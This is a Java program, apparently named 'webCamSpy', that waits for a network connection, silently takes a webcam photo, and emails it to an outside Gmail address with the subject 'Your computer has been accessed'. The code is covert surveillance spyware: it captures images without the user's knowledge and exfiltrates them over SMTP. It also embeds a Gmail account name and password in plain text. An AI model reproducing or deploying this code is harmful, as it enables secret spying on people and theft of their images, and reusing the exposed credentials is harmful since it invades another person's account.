public static void main(String[] args) {

    boolean net = true;
    int num = 0;

    do {
        if (netIsAvailable()) {
            webCapture();
            mailSend();
            net = false;
        }

    } while (net);

    System.exit(0);

}

public static void webCapture() {
    // get default webcam and open it
    Webcam webcam = Webcam.getDefault();

    webcam.setViewSize(new Dimension(640, 480));

    // creates test2.jpg
    WebcamUtils.capture(webcam, "test2", "jpg");
}

private static boolean netIsAvailable() {
    try {
        final URL url = new URL("http://www.google.com");
        final URLConnection conn = url.openConnection();
        conn.connect();
        return true;
    } catch (MalformedURLException e) {
        throw new RuntimeException(e);
    } catch (IOException e) {
        return false;
    }
}

public static void mailSend() {
    final String username = "javaMailTest002@gmail.com";
    final String password = "anaaremere";

    Properties props = new Properties();
    props.put("mail.smtp.auth", "true");
    props.put("mail.smtp.starttls.enable", "true");
    props.put("mail.smtp.host", "smtp.gmail.com");
    props.put("mail.smtp.port", "587");

    Session session = Session.getInstance(props,
            new javax.mail.Authenticator() {
                protected PasswordAuthentication getPasswordAuthentication() {
                    return new PasswordAuthentication(username, password);
                }
            });

    try {

        Message message = new MimeMessage(session);
        message.setFrom(new InternetAddress(username));
        message.setRecipients(Message.RecipientType.TO,
                InternetAddress.parse("alindradici@gmail.com"));
        message.setSubject("Your computer has been accessed");
        message.setText("Congratulation!");

        MimeBodyPart messageBodyPart = new MimeBodyPart();

        Multipart multipart = new MimeMultipart();

        messageBodyPart = new MimeBodyPart();
        String file = "C:\Fast\JDBCDemoApp\webCamSpy\test2.jpg";
        String fileName = "attachmentName";
        DataSource source = new FileDataSource(file);
        messageBodyPart.setDataHandler(new DataHandler(source));
        messageBodyPart.setFileName(fileName);
        multipart.addBodyPart(messageBodyPart);

        message.setContent(multipart);

        Transport.send(message);

        System.out.println("done, email sent ok");

    } catch (Exception e) {
        System.out.println("Email sending problems");
        e.printStackTrace();


    }
}